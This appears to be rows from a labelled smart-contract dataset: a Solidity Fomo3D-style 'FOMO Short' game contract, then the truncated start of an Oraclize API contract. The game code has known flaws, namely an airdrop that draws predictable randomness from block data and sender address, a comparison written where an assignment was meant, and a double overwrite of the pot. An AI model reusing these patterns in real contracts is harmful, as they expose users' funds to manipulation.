F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
round_[_rID].pot = _pot.add(_com);
round_[_rID].pot = _pot.add(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d;
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 |
pragma solidity ^0.4.21;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal constant {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private constant {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private constant returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal constant returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal constant {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal constant returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function shl8(uint8 x, uint8 y) private constant returns (uint8) {
return x * (2 ** y);
}
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private constant {
if(value <= 23) {
buf.append(uint8(shl8(major, 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8(shl8(major, 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8(shl8(major, 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8(shl8(major, 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8(shl8(major, 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private constant {
buf.append(uint8(shl8(major, 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal constant {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal constant {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal constant {
